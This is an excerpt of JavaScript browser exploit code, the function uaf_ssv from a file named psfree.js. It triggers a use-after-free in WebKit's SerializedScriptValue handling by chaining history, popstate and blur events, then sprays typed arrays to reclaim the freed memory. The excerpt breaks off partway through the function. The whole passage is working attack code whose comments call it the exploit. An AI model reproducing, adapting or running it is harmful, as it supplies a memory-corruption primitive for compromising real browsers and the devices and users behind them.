Function uaf_ssv

g2all/900/psfree.js:191–306

(fsets, index, save_pop = false)

// called. History will cache the SSV at its m_lastStateObjectRequested if you
// do. that field is a RefPtr, thus preventing a UaF if we cache "state1"
async function uaf_ssv(fsets, index, save_pop = false) {
    const views = [];
    const input = document.createElement('input');
    input.style.position = 'absolute';
    input.style.top = '-100px';
    const foo = document.createElement('a');
    foo.id = 'foo';
    foo.style.position = 'absolute';
    foo.style.top = '-100px';

    // debug_log(`ssv_len: ${hex(ssv_len)}`);

    let pop = null;
    let num_blurs = 0;
    const pop_promise = new Promise((resolve, reject) => {
        function onpopstate(event) {
            // debug_log('pop came');
            if (num_blurs === 0) {
                const r = reject;
                r(new DieError(`pop came before blur. blurs: ${num_blurs}`));
            }
            pop = event;
            resolve();
        }
        addEventListener('popstate', onpopstate, { once: true });
    });

    function onblur() {
        // debug_log('blur came');
        if (num_blurs > 0) {
            die(`multiple blurs. blurs: ${num_blurs}`);
        }

        // we replace the URL with the original so the user can rerun the
        // exploit via a reload. If we don't, the exploit will append another
        // "#foo" to the URL and the input element will not be blurred because
        // the foo element won't be scrolled to during history.back()
        history.replaceState('state3', '', original_loc);

        // free the SerializedScriptValue's neighbors and thus free the
        // SmallLine where it resides
        for (let i = index - num_adjs / 2; i < index + num_adjs / 2; i++) {
            fsets[i].rows = '';
            fsets[i].cols = '';
        }

        for (let i = 0; i < num_reuses; i++) {
            const view = new Uint8Array(new ArrayBuffer(ssv_len));
            view[0] = 0x41;
            views.push(view);
        }

        num_blurs++;
    }
    input.addEventListener('blur', onblur);

    document.body.append(input);
    document.body.append(foo);